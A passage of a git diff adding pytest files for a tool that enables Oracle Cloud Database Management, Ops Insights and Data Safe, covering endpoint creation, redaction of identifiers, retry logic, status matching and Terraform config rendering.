run_tolerating(self, args, tolerated): + try: + self.run(args) + return True + except RuntimeError as exc: + if any(marker in str(exc) for marker in tolerated): + return False + raise + + def list_db_management_private_endpoints(self, compartment_id): + return [] + + def list_opsi_private_endpoints(self, compartment_id): + return [] + + +def test_prepare_creates_private_endpoint_commands() -> None: + oci = FakeOci() + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + ) + + PrerequisiteService(oci).prepare(config) # type: ignore[arg-type] + + assert oci.commands[0][:3] == ["database-management", "private-endpoint", "create"] + assert oci.commands[0][oci.commands[0].index("--is-dns-resolution-enabled") + 1] == "false" + assert oci.commands[1][:3] == ["opsi", "opsi-private-endpoint", "create"] + + +def test_prepare_skips_existing_private_endpoints() -> None: + class ExistingOci(FakeOci): + def list_db_management_private_endpoints(self, compartment_id): + return [{"name": "dbman_opsi_dbmgmt_pe"}] + + def list_opsi_private_endpoints(self, compartment_id): + return [{"display-name": "dbman_opsi_opsi_pe"}] + + oci = ExistingOci() + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + ) + + PrerequisiteService(oci).prepare(config) # type: ignore[arg-type] + + assert oci.commands == [] + + +def test_prepare_tolerates_create_conflict_when_list_missed_existing_pe() -> None: + # If the (flaky) list-first check returns empty but the resource really + # exists, the create's 'already exists' conflict must be an idempotent no-op, + # not a crash that aborts the whole prepare run. + oci = FakeOci(fail_text="The private endpoint name is already in use") + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + ) + + # Does not raise; both creates were attempted and tolerated. + PrerequisiteService(oci).prepare(config) # type: ignore[arg-type] + + assert oci.commands[0][:3] == ["database-management", "private-endpoint", "create"] + assert oci.commands[1][:3] == ["opsi", "opsi-private-endpoint", "create"] + + +def test_prepare_reraises_non_conflict_create_error() -> None: + # A real failure (not a name conflict) must still propagate. + oci = FakeOci(fail_text="InvalidParameter: subnet not found") + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + network=NetworkSelection(vcn_id="vcn-id", subnet_id="subnet-id"), + ) + + try: + PrerequisiteService(oci).prepare(config) # type: ignore[arg-type] + except RuntimeError as exc: + assert "subnet not found" in str(exc) + else: + raise AssertionError("Expected the non-conflict create error to propagate") + + +def test_prepare_creates_secret_when_password_env_is_set(monkeypatch) -> None: + oci = FakeOci() + monkeypatch.setenv("DBMAN_PASSWORD", "secret-password") + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + vault=VaultSelection(vault_id="vault-id", key_id="key-id"), + targets=(Target(kind="dbcs", name="db1"),), + ) + + PrerequisiteService(oci).prepare(config, "DBMAN_PASSWORD") # type: ignore[arg-type] + + assert oci.commands[0][:3] == ["vault", "secret", "create-base64"] + assert "secret-password" not in oci.commands[0] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_public_repo_readiness.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_public_repo_readiness.py new file mode 100644 index 000000000..3fc3c7c28 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_public_repo_readiness.py @@ -0,0 +1,91 @@ +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] + + +def read(path: str) -> str: + return (ROOT / path).read_text(encoding="utf-8") + + +def test_readme_has_resource_manager_button_and_workshop_entrypoint() -> None: + readme = read("README.md") + + assert "cloud.oracle.com/resourcemanager/stacks/create" in readme + assert "Deploy to Oracle Cloud" in readme + assert "docs/workshop/README.md" in readme + assert "Cloud Shell" in readme + + +def test_workshop_docs_cover_end_to_end_paths_without_tenant_names() -> None: + workshop = read("docs/workshop/README.md") + personal_name = "ad" + "rian" + tenant_phrase = "cap " + "tenant" + + assert "Lab 1" in workshop + assert "Lab 2" in workshop + assert "Lab 3" in workshop + assert "Lab 4" in workshop + assert "DBCS" in workshop + assert "Autonomous Database" in workshop + assert "Exadata" in workshop + assert "Management Agent" in workshop + assert personal_name not in workshop.lower() + assert tenant_phrase not in workshop.lower() + + +def test_resource_manager_schema_exists_for_public_stack() -> None: + schema = read("terraform/examples/zero-start-poc/schema.yaml") + + assert "title: OCI DB Management and Ops Insights Enablement" in schema + assert "tenancy_ocid" in schema + assert "compartment_ocid" in schema + assert "password" not in schema.lower() + + +def test_public_surface_does_not_contain_raw_sensitive_values() -> None: + ocid_prefix = "ocid1" + "." + personal_name = "ad" + "rian" + company_name = "cap" + "gemini" + tenant_phrase = "cap " + "tenant" + public_ip_prefixes = ("130" + ".61.", "161" + ".153.") + checked_paths = [ + "README.md", + "docs/workshop/README.md", + "docs/security.md", + "terraform/examples/zero-start-poc/main.tf", + "terraform/examples/zero-start-poc/variables.tf", + "terraform/examples/zero-start-poc/schema.yaml", + ] + combined = "\n".join(read(path) for path in checked_paths) + + assert ocid_prefix not in combined + assert personal_name not in combined.lower() + assert company_name not in combined.lower() + assert tenant_phrase not in combined.lower() + for prefix in public_ip_prefixes: + assert prefix not in combined + + +def test_gitignore_excludes_public_repo_local_artifacts() -> None: + ignore = read(".gitignore") + + for pattern in [ + "generated/", + "dbman-opsi*.yaml", + "dbman-opsi*.json", + "*.log", + ".mcp.json", + ".claude/", + ".agentsroom/", + "firepit-log.txt", + "terraform/**/terraform.tfvars.json", + ]: + assert pattern in ignore + + +def test_sanitized_screenshots_are_present() -> None: + for path in ["docs/screenshots/readme.png", "docs/screenshots/workshop.png"]: + screenshot = ROOT / path + assert screenshot.exists() + assert screenshot.stat().st_size > 10_000 diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_redact.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_redact.py new file mode 100644 index 000000000..71db566b5 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_redact.py @@ -0,0 +1,40 @@ +from dbman_opsi.redact import redact_data, redact_text + + +def test_redacts_oci_topology_and_secret_shapes() -> None: + compartment_ocid = "ocid1" + ".compartment.oc1..aaaaaaaaexample" + namespace = "fr4" + "zqfimuxtr" + internal_key = "isk_" + ("a" * 40) + public_ip = "130" + ".61.1.2" + private_ip = "10" + ".42.3.4" + text = ( + f"{compartment_ocid} {public_ip} {private_ip} " + f"{namespace} e3:9e:1e:ed:aa:bb:cc:dd:ee:ff:00:11:22:33:44:55 " + f"{internal_key}" + ) + + redacted = redact_text(text) + + assert "ocid1" + "." not in redacted + assert public_ip not in redacted + assert private_ip not in redacted + assert namespace not in redacted + assert "isk_" not in redacted + + +def test_redacts_nested_data_without_mutating_shape() -> None: + data = {"items": ["ocid1" + ".database.oc1..aaaaaaaaexample"], "ok": True} + + assert redact_data(data) == {"items": [""], "ok": True} + + +def test_redacts_data_safe_and_pluggable_database_ocids() -> None: + ds_target = "ocid1" + ".datasafetargetdatabase.oc1.eu-frankfurt-1.aaaaexample" + ds_pe = "ocid1" + ".datasafeprivateendpoint.oc1.eu-frankfurt-1.bbbbexample" + pdb = "ocid1" + ".pluggabledatabase.oc1.eu-frankfurt-1.ccccexample" + insight = "ocid1" + ".databaseinsight.oc1.eu-frankfurt-1.ddddexample" + + redacted = redact_text(f"{ds_target} {ds_pe} {pdb} {insight}") + + assert "ocid1" + "." not in redacted + assert redacted.count("") == 4 diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_regional_provisioning.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_regional_provisioning.py new file mode 100644 index 000000000..6cf51c26f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_regional_provisioning.py @@ -0,0 +1,110 @@ +import pytest + +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.regional_provisioning import ( + CHICAGO_REGION, + RegionalProvisioningRequest, + build_regional_provisioning_config, + default_regional_output, + prepare_regional_terraform_dir, +) + + +def test_builds_default_chicago_dbcs_provisioning_config() -> None: + base = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + monitoring_regions=("eu-frankfurt-1",), + network=NetworkSelection(cidr_block="10.55.0.0/16", subnet_cidr_block="10.55.10.0/24"), + ) + + config = build_regional_provisioning_config(base, RegionalProvisioningRequest()) + + assert config.profile == "cap" + assert config.region == CHICAGO_REGION + assert config.monitoring_regions == ("eu-frankfurt-1", CHICAGO_REGION) + assert config.network.create_test_network is True + assert config.network.cidr_block == "10.55.0.0/16" + assert config.terraform_dir.endswith(f"zero-start-poc-{CHICAGO_REGION}") + assert config.targets == ( + Target( + kind="dbcs", + name="dbman-opsi-chicago-dbcs", + provision=True, + services=("dbm", "opsi"), + region=CHICAGO_REGION, + ), + ) + + +def test_builds_chicago_autonomous_config_with_existing_network() -> None: + base = EnablementConfig(profile="cap", region="eu-frankfurt-1") + subnet_id = "ocid1" + ".subnet.oc1..existing" + + config = build_regional_provisioning_config( + base, + RegionalProvisioningRequest( + target_kind="autonomous", + vcn_id="ocid1.vcn.oc1..existing", + subnet_id=subnet_id, + ), + ) + + assert config.targets[0].kind == "autonomous" + assert config.targets[0].name == "dbman-opsi-chicago-adb" + assert config.network.create_test_network is False + assert config.network.vcn_id == "ocid1.vcn.oc1..existing" + assert config.network.subnet_id == subnet_id + + +def test_upserts_existing_regional_target_without_dropping_service_name() -> None: + base = EnablementConfig( + profile="cap", + region="eu-frankfurt-1", + targets=( + Target( + kind="dbcs", + name="dbman-opsi-chicago-dbcs", + region=CHICAGO_REGION, + resource_id="ocid1.database.oc1..existing", + service_name="pdb.example", + provision=False, + ), + ), + ) + + config = build_regional_provisioning_config(base, RegionalProvisioningRequest()) + + assert len(config.targets) == 1 + assert config.targets[0].provision is True + assert config.targets[0].resource_id == "ocid1.database.oc1..existing" + assert config.targets[0].service_name == "pdb.example" + + +def test_rejects_partial_existing_network() -> None: + base = EnablementConfig(profile="cap", region="eu-frankfurt-1") + + with pytest.raises(ValueError, match="--vcn-id and --subnet-id"): + build_regional_provisioning_config( + base, + RegionalProvisioningRequest(vcn_id="ocid1.vcn.oc1..existing"), + ) + + +def test_default_regional_output_uses_region_name() -> None: + assert default_regional_output(CHICAGO_REGION) == "dbman-opsi.us-chicago-1.local.yaml" + + +def test_prepare_regional_terraform_dir_copies_stack_files(tmp_path) -> None: + source = tmp_path / "zero-start-poc" + destination = tmp_path / "zero-start-poc-us-chicago-1" + source.mkdir() + source.joinpath("main.tf").write_text("resource x\n", encoding="utf-8") + source.joinpath("variables.tf").write_text("variable x {}\n", encoding="utf-8") + source.joinpath("terraform.tfvars.json").write_text("ignored\n", encoding="utf-8") + + copied = prepare_regional_terraform_dir(source, destination) + + assert sorted(path.name for path in copied) == ["main.tf", "variables.tf"] + assert destination.joinpath("main.tf").read_text(encoding="utf-8") == "resource x\n" + assert not destination.joinpath("terraform.tfvars.json").exists() diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_remediation.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_remediation.py new file mode 100644 index 000000000..9d540f3e9 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_remediation.py @@ -0,0 +1,24 @@ +from dbman_opsi.remediation import format_remediation, remediation_for + + +def test_remediation_matches_known_signatures() -> None: + assert remediation_for("ORA-12514: TNS:listener does not currently know").signature == "ORA-12514" + assert remediation_for("ORA-01017: invalid username/password").signature == "ORA-01017" + assert remediation_for("Error: DbcsEntityChangeWorkflowFailed").signature == "DbcsEntityChangeWorkflowFailed" + + +def test_remediation_orders_account_lock_before_generic() -> None: + # ORA-28000 must win over a co-occurring generic signature. + text = "ORA-28000 - The account is locked. NotAuthorizedOrNotFound" + assert remediation_for(text).signature == "ORA-28000" + + +def test_remediation_returns_none_for_unknown() -> None: + assert remediation_for("totally unrelated error text") is None + + +def test_format_remediation_includes_solution_and_manual_step() -> None: + out = format_remediation(remediation_for("ORA-28000 account locked")) + assert "Solution:" in out + assert "Manual step:" in out + assert "C##DBSNMP_MON" in out diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_reporting.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_reporting.py new file mode 100644 index 000000000..9f7855c68 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_reporting.py @@ -0,0 +1,106 @@ +from dbman_opsi.checks import ( + CheckResult, + PreflightReport, + TargetReport, + fail, + manual, + ok, +) +from dbman_opsi.orchestrator import ConfigureReport, TargetDecision +from dbman_opsi.reporting import print_configure_report, print_preflight_report + + +def _report() -> PreflightReport: + return PreflightReport( + tenancy_checks=(ok("iam.policies", "present"),), + network_checks=(fail("network.service_gateway", "missing", "create a SGW"),), + targets=( + TargetReport( + name="cloud db", + kind="dbcs", + location="oci-native", + checks=(ok("target.resource", "AVAILABLE"), manual("target.monitoring_user", "verify DB-side")), + ), + ), + ) + + +def test_print_preflight_renders_statuses_and_remediation(capsys) -> None: + print_preflight_report(_report()) + out = capsys.readouterr().out + + assert "[PASS] iam.policies" in out + assert "[FAIL] network.service_gateway" in out + assert "-> create a SGW" in out + assert "[MANUAL] target.monitoring_user" in out + assert "NOT READY" in out + + +def test_print_configure_lists_decisions_and_handoff(capsys) -> None: + report = ConfigureReport( + mode="db-side-only", + preflight=_report(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "handoff", "packet generated"),), + handoff_paths=("generated/handoff/cloud-db/HANDOFF.md",), # type: ignore[arg-type] + ) + print_configure_report(report) + out = capsys.readouterr().out + + assert "[HANDOFF] cloud db" in out + assert "Handoff packets:" in out + assert "cloud-db/HANDOFF.md" in out + + +def test_check_result_blocking_semantics() -> None: + assert CheckResult("x", "fail", "d").blocking + assert not CheckResult("x", "warn", "d").blocking + assert not CheckResult("x", "manual", "d").blocking + + +def test_print_configure_lists_data_safe_decisions(capsys) -> None: + from dbman_opsi.datasafe import DataSafeDecision + from dbman_opsi.reporting import print_inventory + + report = ConfigureReport( + mode="apply", + preflight=_report(), + decisions=(TargetDecision("cloud db", "dbcs", "oci-native", "enabled", "done"),), + data_safe=( + DataSafeDecision("cloud db", "enabled", "Data Safe target registered", "dst-1"), + DataSafeDecision("adb", "blocked", "missing db_system_id"), + ), + ) + print_configure_report(report) + out = capsys.readouterr().out + + assert "Data Safe (security pillar):" in out + assert "[ENABLED] cloud db: Data Safe target registered" in out + assert "[BLOCKED] adb: missing db_system_id" in out + + +def test_print_inventory_renders_pillars_and_empty(capsys) -> None: + from dbman_opsi.discovery import ( + CompartmentInventory, + DatabaseInfo, + Inventory, + SubnetInfo, + ) + from dbman_opsi.reporting import print_inventory + + # Empty inventory path. + print_inventory(Inventory(compartments=())) + assert "No reusable resources" in capsys.readouterr().out + + inv = Inventory(compartments=( + CompartmentInventory( + name="demo", id="c1", + subnets=(SubnetInfo(id="s1", name="priv", vcn_id="v1", private=True, has_service_gateway=True),), + databases=(DatabaseInfo(id="db1", name="CDB", role="CDB", state="AVAILABLE", + dbm_status="ENABLED", opsi_status="ENABLED", data_safe_status="ENABLED"),), + bastions=("b1",), + ), + )) + print_inventory(inv) + out = capsys.readouterr().out + assert "Compartment: demo" in out + assert "db:" in out and "CDB" in out diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_runner.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_runner.py new file mode 100644 index 000000000..da291baed --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_runner.py @@ -0,0 +1,189 @@ +import json +import logging +import subprocess +from pathlib import Path + +import pytest + +from dbman_opsi.journal import RunJournal +from dbman_opsi.runner import ( + CommandRunner, + CommandResult, + OciAuthError, + OciError, + OciNotFound, + OciThrottled, + OciTransient, +) + + +def _completed( + args: tuple[str, ...], + stderr: str, + returncode: int, +) -> subprocess.CompletedProcess[str]: + return subprocess.CompletedProcess(args=args, returncode=returncode, stdout="", stderr=stderr) + + +def test_dry_run_runner_logs_redacted_command(caplog) -> None: + runner = CommandRunner(dry_run=True) + caplog.set_level(logging.INFO, logger="dbman_opsi.runner") + + result = runner.run(["oci", "db", "get", "--database-id", "ocid1" + ".database.oc1..example"]) + + assert result.returncode == 0 + assert result.json() == {} + assert "ocid1" + "." not in caplog.text + assert "+ oci db get" in caplog.text + + +def test_runner_raises_on_failed_command() -> None: + runner = CommandRunner(dry_run=False) + + try: + runner.run(["python3", "-c", "import sys; sys.stderr.write('boom'); sys.exit(7)"]) + except RuntimeError as exc: + assert "boom" in str(exc) + else: + raise AssertionError("Expected RuntimeError") + + +def test_runner_returns_raw_ocids_for_logic() -> None: + # The data path must NOT redact OCIDs: discovery/credential joins parse real + # OCIDs out of command output. Redacting here would collapse every OCID to the + # same token and make OCID-keyed joins match everything-to-everything. + runner = CommandRunner(dry_run=False) + ocid = "ocid1" + ".database.oc1..realexample" + + result = runner.run(["python3", "-c", f"print('{{\"data\": {{\"id\": \"{ocid}\"}}}}')"]) + + assert result.json()["data"]["id"] == ocid + + +def test_runner_redacts_failed_command() -> None: + runner = CommandRunner(dry_run=False) + + try: + runner.run(["python3", "-c", "import sys; sys.exit(7)", "ocid1" + ".database.oc1..example"]) + except RuntimeError as exc: + assert "ocid1" + "." not in str(exc) + else: + raise AssertionError("Expected RuntimeError") + + +@pytest.mark.parametrize( + ("stderr", "error_type"), + [ + ("ServiceError: NotAuthenticated: session expired", OciAuthError), + ("ServiceError: Forbidden: missing policy", OciAuthError), + ("ServiceError: NotFound: target database not found", OciNotFound), + ("ServiceError: 404: target not found", OciNotFound), + ("ServiceError: TooManyRequests: retry later", OciThrottled), + ("ServiceError: 429: request throttled", OciThrottled), + ("ServiceError: 503 Service Unavailable", OciTransient), + ("connection timeout while calling OCI", OciTransient), + ("ServiceError: Unknown failure", OciError), + ], +) +def test_runner_classifies_oci_errors(stderr: str, error_type: type[OciError]) -> None: + runner = CommandRunner(dry_run=False) + + with pytest.raises(error_type): + runner.run(["python3", "-c", f"import sys; sys.stderr.write({stderr!r}); sys.exit(7)"]) + + +def test_runner_retries_throttled_command_then_succeeds(tmp_path: Path) -> None: + attempts: list[tuple[str, ...]] = [] + + def executor(args: tuple[str, ...], cwd: str | None) -> subprocess.CompletedProcess[str]: + attempts.append(args) + if len(attempts) < 3: + raise OciThrottled("ServiceError: 429: request throttled") + return subprocess.CompletedProcess(args=args, returncode=0, stdout='{"ok": true}', stderr="") + + sleeps: list[float] = [] + ticks = iter((0.0, 0.01, 0.02, 0.03, 0.04, 0.05)) + journal = RunJournal(run_id="retry", profile="p", region="r", root=tmp_path / "runs") + runner = CommandRunner( + dry_run=False, + executor=executor, + journal=journal, + clock=lambda: next(ticks), + sleeper=sleeps.append, + max_attempts=3, + base_delay=0.5, + ) + + result = runner.run(["oci", "db", "get"]) + + assert result == CommandResult(("oci", "db", "get"), '{"ok": true}', "", 0) + assert len(attempts) == 3 + assert sleeps == [0.5, 1.0] + entries = [json.loads(line) for line in journal.path.read_text(encoding="utf-8").splitlines()] + assert [entry["returncode"] for entry in entries] == [1, 1, 0] + + +def test_runner_retries_transient_read_when_enabled() -> None: + attempts = 0 + + def executor(args: tuple[str, ...], cwd: str | None) -> subprocess.CompletedProcess[str]: + nonlocal attempts + attempts += 1 + if attempts == 1: + return _completed(args, "ServiceError: 503 Service Unavailable", 1) + return subprocess.CompletedProcess(args=args, returncode=0, stdout="{}", stderr="") + + runner = CommandRunner(dry_run=False, executor=executor, sleeper=lambda delay: None) + + result = runner.run(["oci", "db", "list"], retry_on_transient=True) + + assert result.returncode == 0 + assert attempts == 2 + + +def test_runner_does_not_retry_auth_error() -> None: + attempts = 0 + + def executor(args: tuple[str, ...], cwd: str | None) -> subprocess.CompletedProcess[str]: + nonlocal attempts + attempts += 1 + return _completed(args, "ServiceError: NotAuthenticated: session expired", 1) + + runner = CommandRunner(dry_run=False, executor=executor, sleeper=lambda delay: None) + + with pytest.raises(OciAuthError): + runner.run(["oci", "db", "get"], retry_on_transient=True) + + assert attempts == 1 + + +def test_runner_does_not_retry_not_found_error() -> None: + attempts = 0 + + def executor(args: tuple[str, ...], cwd: str | None) -> subprocess.CompletedProcess[str]: + nonlocal attempts + attempts += 1 + return _completed(args, "ServiceError: NotFound: target database not found", 1) + + runner = CommandRunner(dry_run=False, executor=executor, sleeper=lambda delay: None) + + with pytest.raises(OciNotFound): + runner.run(["oci", "db", "get"], retry_on_transient=True) + + assert attempts == 1 + + +def test_runner_does_not_retry_mutating_transient_by_default() -> None: + attempts = 0 + + def executor(args: tuple[str, ...], cwd: str | None) -> subprocess.CompletedProcess[str]: + nonlocal attempts + attempts += 1 + return _completed(args, "connection timeout while calling OCI", 1) + + runner = CommandRunner(dry_run=False, executor=executor, sleeper=lambda delay: None) + + with pytest.raises(OciTransient): + runner.run(["oci", "db", "update"]) + + assert attempts == 1 diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_status.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_status.py new file mode 100644 index 000000000..045368b05 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_status.py @@ -0,0 +1,121 @@ +from dbman_opsi.status import ( + data_safe_status, + dbm_status, + is_enabled, + opsi_insight_status, +) + + +def test_opsi_insight_status_matches_by_database_id() -> None: + insights = [{"database-id": "db-1", "lifecycle-state": "ACTIVE"}] + assert opsi_insight_status(insights, "db-1") == "ENABLED" + assert opsi_insight_status(insights, "db-2") == "NOT_ENABLED" + + +def test_opsi_insight_status_creating_counts_as_enabled() -> None: + insights = [{"database-id": "db-1", "lifecycle-state": "CREATING"}] + assert opsi_insight_status(insights, "db-1") == "ENABLED" + + +def test_opsi_insight_status_failed_surfaces_lifecycle() -> None: + insights = [{"database-id": "db-1", "lifecycle-state": "FAILED"}] + assert opsi_insight_status(insights, "db-1") == "FAILED" + + +def test_data_safe_status_matches_by_database_id() -> None: + targets = [{"lifecycle-state": "ACTIVE", "database-details": {"database-id": "db-1"}}] + assert data_safe_status(targets, "db-1") == "ENABLED" + assert data_safe_status(targets, "other") == "NOT_ENABLED" + + +def test_data_safe_status_matches_by_db_system_for_base_db() -> None: + targets = [{"lifecycle-state": "ACTIVE", "database-details": {"db-system-id": "sys-1"}}] + # Base DB target registers against the DB system; match the DB via its system. + assert data_safe_status(targets, "db-1", db_system_id="sys-1") == "ENABLED" + assert data_safe_status(targets, "db-1", db_system_id="sys-2") == "NOT_ENABLED" + + +def test_data_safe_status_matches_autonomous() -> None: + targets = [{"lifecycle-state": "ACTIVE", "database-details": {"autonomous-database-id": "adb-1"}}] + assert data_safe_status(targets, "adb-1") == "ENABLED" + + +def test_data_safe_status_matches_by_associated_resource_ids() -> None: + # The target-database LIST summary has database-details=null and carries the + # registered DB OCID under associated-resource-ids instead. + targets = [{ + "id": "ocid1.datasafetargetdatabase.oc1..t1", + "lifecycle-state": "ACTIVE", + "database-details": None, + "associated-resource-ids": ["adb-1"], + }] + assert data_safe_status(targets, "adb-1") == "ENABLED" + assert data_safe_status(targets, "adb-2") == "NOT_ENABLED" + + +def test_data_safe_status_does_not_match_on_target_own_id() -> None: + # A target's own OCID must never be treated as the DB it points at. + targets = [{"id": "shared-ocid", "lifecycle-state": "ACTIVE", "database-details": None}] + assert data_safe_status(targets, "shared-ocid") == "NOT_ENABLED" + + +def test_data_safe_status_empty_is_not_enabled() -> None: + assert data_safe_status([], "db-1") == "NOT_ENABLED" + + +def test_data_safe_status_matches_pdb_by_service_name() -> None: + # A Base DB target registered with a PDB service name: the target's + # database-details.service-name disambiguates which PDB it covers. + targets = [{ + "id": "t1", "lifecycle-state": "ACTIVE", + "associated-resource-ids": ["sys-1"], + "database-details": {"db-system-id": "sys-1", "service-name": "pdb1.octodemo.cloud"}, + }] + # PDB whose service matches -> ENABLED. + assert data_safe_status(targets, "pdb-ocid", db_system_id="sys-1", + service_name="pdb1.octodemo.cloud") == "ENABLED" + # A different PDB in the same DB system but different service -> NOT_ENABLED + # (must NOT over-match via the shared db-system OCID). + assert data_safe_status(targets, "pdb-other", db_system_id="sys-1", + service_name="pdb2.octodemo.cloud") == "NOT_ENABLED" + + +def test_data_safe_status_cdb_not_enabled_when_only_pdb_registered() -> None: + # Only the PDB service is registered; the CDB (different service) must read + # NOT_ENABLED even though it shares the DB system OCID with the target. + targets = [{ + "id": "t1", "lifecycle-state": "ACTIVE", + "associated-resource-ids": ["sys-1"], + "database-details": {"db-system-id": "sys-1", "service-name": "pdb1.octodemo.cloud"}, + }] + assert data_safe_status(targets, "cdb-ocid", db_system_id="sys-1", + service_name="CDBROOT_x.octodemo.cloud") == "NOT_ENABLED" + + +def test_data_safe_status_service_name_match_is_case_insensitive() -> None: + # Oracle service names are case-insensitive: the listener may register + # 'PDB1.x' while the Data Safe target stored 'pdb1.x'. + targets = [{ + "id": "t1", "lifecycle-state": "ACTIVE", "associated-resource-ids": ["sys-1"], + "database-details": {"db-system-id": "sys-1", "service-name": "pdb1.octodemo.cloud"}, + }] + assert data_safe_status(targets, "pdb-ocid", db_system_id="sys-1", + service_name="PDB1.octodemo.cloud") == "ENABLED" + + +def test_data_safe_status_coarse_db_system_fallback_when_no_service_info() -> None: + # When the target has no service-name (e.g. summary not enriched), fall back + # to the coarse DB-system match so a CDB still reads ENABLED. + targets = [{ + "id": "t1", "lifecycle-state": "ACTIVE", + "associated-resource-ids": ["sys-1"], "database-details": None, + }] + assert data_safe_status(targets, "cdb-ocid", db_system_id="sys-1", + service_name="anything") == "ENABLED" + + +def test_is_enabled_and_dbm_status_round_out_coverage() -> None: + assert is_enabled("ENABLED") is True + assert is_enabled(None) is False + adb = {"database-management-status": "ENABLED"} + assert dbm_status(adb, "autonomous") == "ENABLED" diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_terraform.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_terraform.py new file mode 100644 index 000000000..f40995ee0 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_terraform.py @@ -0,0 +1,38 @@ +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.terraform import render_tfvars, run_terraform, write_tfvars + + +def test_render_tfvars_includes_network_policy_and_targets() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + compartment_id="compartment-id", + network=NetworkSelection(create_test_network=True), + targets=(Target(kind="dbcs", name="db1", provision=True),), + ) + + tfvars = render_tfvars(config) + + assert tfvars["create_test_network"] is True + assert tfvars["config_file_profile"] == "DEFAULT" + assert tfvars["targets"] == [{"kind": "dbcs", "name": "db1", "resource_id": None, "provision": True, "management_type": "ADVANCED"}] + assert "policy_statements" in tfvars + + +class FakeRunner: + def __init__(self) -> None: + self.calls = [] + + def run(self, args, cwd=None): + self.calls.append((args, cwd)) + + +def test_write_tfvars_and_run_terraform(tmp_path) -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", terraform_dir=str(tmp_path)) + runner = FakeRunner() + + path = write_tfvars(config) + run_terraform(config, runner) # type: ignore[arg-type] + + assert path.exists() + assert [call[0][0] for call in runner.calls] == ["terraform", "terraform"] diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_tf_outputs.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_tf_outputs.py new file mode 100644 index 000000000..b2039c584 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_tf_outputs.py @@ -0,0 +1,60 @@ +from dbman_opsi.config import EnablementConfig, NetworkSelection, Target +from dbman_opsi.tf_outputs import merge_outputs_into_config + +OUTPUTS = { + "subnet_ocid": {"value": "subnet-from-tf"}, + "vcn_ocid": {"value": "vcn-from-tf"}, + "db_management_private_endpoint_ocid": {"value": "pe-from-tf"}, + "provisioned_dbcs_ids": {"value": {"new db": "dbcs-from-tf"}}, + "provisioned_autonomous_database_ids": {"value": {}}, +} + + +def test_merge_fills_network_and_private_endpoint() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + network=NetworkSelection(create_test_network=True), + targets=(Target(kind="dbcs", name="existing", resource_id="db-id"),), + ) + + merged, changes = merge_outputs_into_config(config, OUTPUTS) + + assert merged.network.subnet_id == "subnet-from-tf" + assert merged.network.vcn_id == "vcn-from-tf" + assert merged.targets[0].private_endpoint_id == "pe-from-tf" + assert "network.subnet_id" in changes + + +def test_merge_sets_db_system_id_for_provisioned_dbcs_target() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="new db", provision=True),), + ) + + merged, _ = merge_outputs_into_config(config, OUTPUTS) + + assert merged.targets[0].db_system_id == "dbcs-from-tf" + assert merged.targets[0].resource_id is None + + +def test_merge_preserves_existing_private_endpoint() -> None: + config = EnablementConfig( + profile="DEFAULT", + region="eu-frankfurt-1", + targets=(Target(kind="dbcs", name="existing", resource_id="db-id", private_endpoint_id="keep-me"),), + ) + + merged, _ = merge_outputs_into_config(config, OUTPUTS) + + assert merged.targets[0].private_endpoint_id == "keep-me" + + +def test_merge_with_empty_outputs_is_noop() -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1") + + merged, changes = merge_outputs_into_config(config, {}) + + assert changes == [] + assert merged == config diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_validation.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_validation.py new file mode 100644 index 000000000..99e6e879c --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_validation.py @@ -0,0 +1,401 @@ +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.validation import ValidationService + + +class FakeOci: + def __init__(self, agents, insights=None, insight_failures=0, insight_sequence=None): + self.agents = agents + self.insights = insights or [] + 